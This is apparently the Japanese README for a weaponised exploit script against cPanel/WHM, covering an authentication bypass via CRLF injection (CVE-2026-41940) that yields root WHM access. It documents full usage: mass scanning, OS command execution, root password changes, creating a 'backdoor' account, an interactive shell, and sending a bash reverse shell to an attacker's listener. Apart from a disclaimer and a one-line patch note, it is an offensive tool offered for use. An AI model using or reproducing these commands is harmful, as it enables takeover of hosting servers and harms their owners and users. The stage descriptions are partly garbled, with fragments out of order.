
cPanel/WHM 認証バイパス (ゼロデイ脆弱性)
免責事項: このドキュメントおよび関連スクリプト (
exploit.py) は、教育目的、セキュリティ研究、および許可された侵入テストのためにのみ提供されます。所有していない、または明示的なテスト許可がないシステムに対してこのソフトウェアを使用しないでください。
exploit.py は、cPanel & WHM の認証バイパス脆弱性 (CVE-2026-41940) を実証するスクリプトです。この脆弱性により、認証されていない攻撃者が CRLF インジェクションの欠陥を介してデーモンキャッシュに root セッションを注入でき、最終的に有効な資格情報を必要とせずに root レベルの WHM アクセスを取得できます。
エクスプロイトは、Basic 認証処理メカニズム内の CRLF (キャリッジリターン・ラインフィード) インジェクション脆弱性と、セッション伝播の欠陥を組み合わせて利用します。スクリプトは攻撃を4つのステージで自動化します:
/login/ または /cgi/login.cgi) に接続し、ベースラインの未認証セッションクッキー (whostmgrsession) を取得します。cpsrvd セッションキャッシュに注入します。サーバーのリダイレクト応答により、生成されたセキュリティトークン () が漏洩します。cpsessdo_token_denied をトリガーして偽造されたセッションをデーモンキャッシュに伝播させ、有効な認証済みセッションにします。/json-api/version) にアクセスし、root レベルのアクセスを確認します。requests ライブラリpip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | 単一の WHM URL (例: https://target:2087) |
--target-file FILE | ターゲットが書かれたファイル (1行に1つの ip:port) — 自動的にチェックモードを有効化 |
| Argument | Description |
|---|---|
--threads N | マルチターゲットモードの同時スレッド数 (デフォルト: 10) |
--hostname HOST | Host ヘッダーを上書き — 自動検出が失敗した場合や誤ったホスト名が使用された場合に使用 |
--timeout N | リクエストごとのタイムアウト (秒) (デフォルト: 15) |
--retries N | ネットワークエラー時のリトライ回数 (デフォルト: 3) |
--cookie-name NAME | 特定のセッションクッキー名を強制 (省略時は自動検出) |
--no-verify | ステージ4の検証をスキップして続行 |
| Argument | Description |
|---|---|
--check | チェックのみモード — 悪用せずに脆弱性を確認 (--target-file で自動設定) |
--password PASS | root パスワードを PASS に変更 |
--api FUNC | 特定の WHM JSON-API 関数を呼び出す |
--api-params K=V,... | --api のカンマ区切りパラメータ |
--exec CMD | WHM scripts/run_script 経由で OS コマンドを実行 (フォールバック: rawexec) |
--session | root ワンクリックログイン URL を生成 — すぐに開いてください、トークンはすぐに期限切れになります |
--shell | 対話型 WHM シェルを起動 (単一ターゲットのみ) |
--dump | サーバー情報をダンプ: バージョン、アカウント、DNS ゾーン、権限 |
--add-user USER PASS DOMAIN | 新しい cPanel ホスティングアカウントを作成 |
--revshell LHOST LPORT | bash リバースシェルをリスナーに送信 |
| Argument | Description |
|---|---|
--output FILE | セッショントークンと詳細を JSON ファイルに保存 |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
--shell 使用時には以下のコマンドが利用可能です:
| Command | Description |
|---|---|
api <function> [k=v ...] | WHM JSON-API 関数を呼び出す (例: api version) |
exec <command> | WHM 経由で OS コマンドを実行 (例: exec id) |
passwd <newpass> | root パスワードを変更 |
dump | サーバー情報をダンプ |
revshell <lhost> <lport> | リバースシェルを送信 |
add <user> <pass> <domain> | cPanel アカウントを作成 |
save <path> | 現在のセッションをファイルに保存 |
exit / quit | シェルを終了 |
最新の cPanel/WHM セキュリティパッチを直ちに適用してください。